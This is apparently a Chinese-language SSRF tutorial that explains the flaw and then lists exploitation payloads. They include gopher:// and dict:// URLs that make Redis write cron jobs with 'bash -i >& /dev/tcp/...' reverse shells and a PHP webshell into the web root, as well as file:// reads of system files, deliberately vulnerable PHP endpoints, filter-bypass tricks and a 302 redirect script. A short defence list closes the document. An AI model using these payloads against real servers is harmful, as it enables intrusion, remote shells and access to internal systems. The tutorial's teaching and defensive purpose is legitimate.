SSRF漏洞
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞
SSRF 漏洞的产生原因是服务端提供了能够从其他服务器应用获取数据的功能
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
漏洞原理
服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤限制。
SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
PHP使用的协议
Java使用的协议
HTTP,HTTPS协议
1 2 3 4 5 6 7 8
| ?url=http://127.0.0.1:8080 # 在redis写入shell url=http://127.0.0.1:6379/test set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.1/9999 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save aaa
|
FILE协议
1
| ?url=file:///C:/windows/win.ini
|
DICT协议
1 2 3 4 5 6 7
| ?url=dict://127.0.0.1:3306 dict://<user-auth>@<host>:<port>/d:<word> # dict在redis写入shell,需要对命令进行16进制编码 ?url=dict://127.0.0.1:6379/set:shell:"\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.1/9999 0>&1\n\n" ?url=dict://127.0.0.1:6379/config:set:dir:/etc/ ?url=dict://127.0.0.1:6379/config:set:dbfilename:crontab ?url=dict://127.0.0.1:6379/bgsave
|
gopher协议
在url中需要二次编码
1 2
| ?url=gopher://test.com:9999/_abc test.com:$ nc -lvp 22
|
gopher协议通过redis写入shell
在url中需要二次编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| # 源指令 flushall config set dir /var/www/html config set dbfilename shell_sec.php set 'webshell' '<?php phpinfo();?>' save
# 转换指令 *1 $8 flushall *4 $6 config $3 set $3 dir $13 /var/www/html *4 $6 config $3 set $10 dbfilename $13 shell_sec.php *3 $3 set $8 webshell $18 <?php phpinfo();?> *1 $4 save
# 一次编码 gopher:/127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%31%33%0d%0a%73%68%65%6c%6c%5f%73%65%63%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
|
gopher协议通过redis写入计划任务
在url中需要二次编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| # 源指令 flushall config set dir /var/spool/cron config set dbfilename shellcrontab set shell "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.1.1/8888 0>&1\n\n" save
# 转换指令 *1 $8 flushall *4 $6 config $3 set $3 dir $15 /var/spool/cron *4 $6 config $3 set $10 dbfilename $4 shellcrontab *3 $3 set $5 shell $60 \n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.1.1/8888 0>&1\n\n *1 $4 save
# 一次编码 gopher:/127.0.0.1:6379/_*1%0D%0A%248%0D%0Aflushall%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Ashellcrontab%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%245%0D%0Ashell%0D%0A%2460%0D%0A%5Cn%5Cn*%20*%20*%20*%20*%20/bin/bash%20-i%3E%26/dev/tcp/192.168.1.1/8888%200%3E%261%5Cn%5Cn%0D%0A*1%0D%0A%244%0D%0Asave
|
其他协议
1 2 3 4 5 6 7
| ?url=sftp://test.com:9999/ ?url=dict://test.com:9999/ ?url=tftp://test.com:9999/TESTUDPPACKET/ ?url=ldap://test.com:9999/%0astats%0aquit ?url=gopher://test.com:9999/_abc
test.com:$ nc -lvp 22
|
漏洞特征
- 分享:通过URL地址分享网页内容
- 转码服务(手机适配)
- 在线翻译(在翻译页面输入URL)
- 图片的加载与下载
- 图片,文章收藏功能
- 未公开的API实现以及其他调用URL的功能
- 邮件系统
- 网站采集
- 编码处理
- 从URL关键字中寻找
- share
- wap
- url
- link
- src
- source
- target
- u
- 3g
- display
- sourceURL
- image
- imageURL
- domain
- ……
漏洞验证
查找访问的资源地址,如果该地址类型为http://xxx.com/x?image=xxx
就可能存在SSRF漏洞
将xxx改为内网地址,如果返回1xx,2xx,说明改地址是存在的
漏洞利用
PHP函数
file_get_contents()
1 2 3 4 5 6 7 8 9 10 11
| <?php if(isset($_POST['url'])) { $content=file_get_contents($_POST['url']); $filename='./images/'.rand().'.img';\ file_put_contents($filename,$content); echo $_POST['url']; $img="<img src=\"".$filename."\"/>"; } echo $img; ?>
|
1 2 3
| http://127.0.0.1/file_get_contents.php post url=http://127.0.0.1:3306
|
fsockopen()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php $host=$_GET['url']; $port=$_GET['port'];
$fp = fsockopen($host,intval($port),$errno,$errstr,30); if(!$fp){ echo "$errstr ($errno)<br />\n"; } else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp,$out); while (!feof($fp)){ echo fgets($fp,128); } fclose($fp); } ?>
|
1
| http://127.0.0.1/fsockopen.php?url=127.0.0.1&port=3306
|
curl_exec()
内网存在文件ssrf.php,代码存在漏洞
1 2 3 4 5
| <?php $url = $_GET['url']; $curlobj = curl_init($url); echo curl_exec($curlobj); ?>
|
1 2 3 4 5 6 7 8 9 10 11 12
| <?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; echo $url; curl($url); ?>
|
1 2 3 4 5 6
| # URL重定向 http://127.0.0.1/ssrf.php?url=http://www.baidu.com http://127.0.0.1/ssrf.php?url=http://192.168.1.1/xxx
# 访问内网文件 http://127.0.0.1/ssrf.php?url=file:///C:/windows/win.ini
|
Java 函数
- HttpClient
- HttpClient.execute
- HttpClient.executeMethod
- HttpURLConnection
- HttpURLConnection.connect
- HttpURLConnection.getInputStream
- URL
- URL.openStream
- HttpServletRequest
- getParameter
- Request
- URLConnection
- okhttp
- BasicHttpEntityEnclosingRequest
- DefaultBHttpClientConnection
- BasicHttpRequest
- URI
绕过方法
@绕过
1
| http://www.baidu.com@10.10.10.10 相当于 http://10.10.10.10
|
IP地址转换绕过
例如192.168.0.1这个IP地址我们可以改写成
1 2 3 4
| 8进制格式:0300.0250.0.1 16进制格式:0xC0.0xA8.0.1 10进制整数格式:3232235521 16进制整数格式:0xC0A8000
|
短网址绕过
将网址放入转换短网址的网站进行转换
利用句号绕过
xip.io 绕过
xip.io是指向任意IP的域名
1
| http://xxx.192.168.0.1.xip.io/ 相当于 192.168.0.1
|
加80绕过
1
| ?url=http://127.0.0.1:80
|
[::]绕过
1
| ?url=http://[::]:80 相当于 127.0.0.1:80
|
修改type类型
1 2
| 修改type=file 为 type=url 比如将图片上传处修改,将图片文件改为url,有可能会出发ssrf
|
符号改写
1 2 3 4 5 6 7 8 9 10
| ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
利用302跳转
把302转换的代码部署到vps上,然后去访问,就可跳转到内网中
1 2 3 4 5 6 7 8 9 10
| <?php $schema = $_GET['s']; $ip = $_GET['i']; $port = $_GET['p']; $query = $_GET['q']; if(empty($port)){ header("Location: $schema://$ip/$query"); } else { header("Location: $schema://$ip:$port/$query"); }
|
1
| http://xxx.com/ssrf.php?url=http://xx/302.php?s=dict&i=127.0.0.1&port=6379&query=info
|
防御措施
- 对URL中的特殊字符进行过滤
- 禁止跳转
- 禁用不需要的协议,仅允许HTTP和HTTPS请求
- 设置白名单或者限制内网IP
- 设置端口白名单
- 判断URL重新向之后的地址
- 过滤返回的详细信息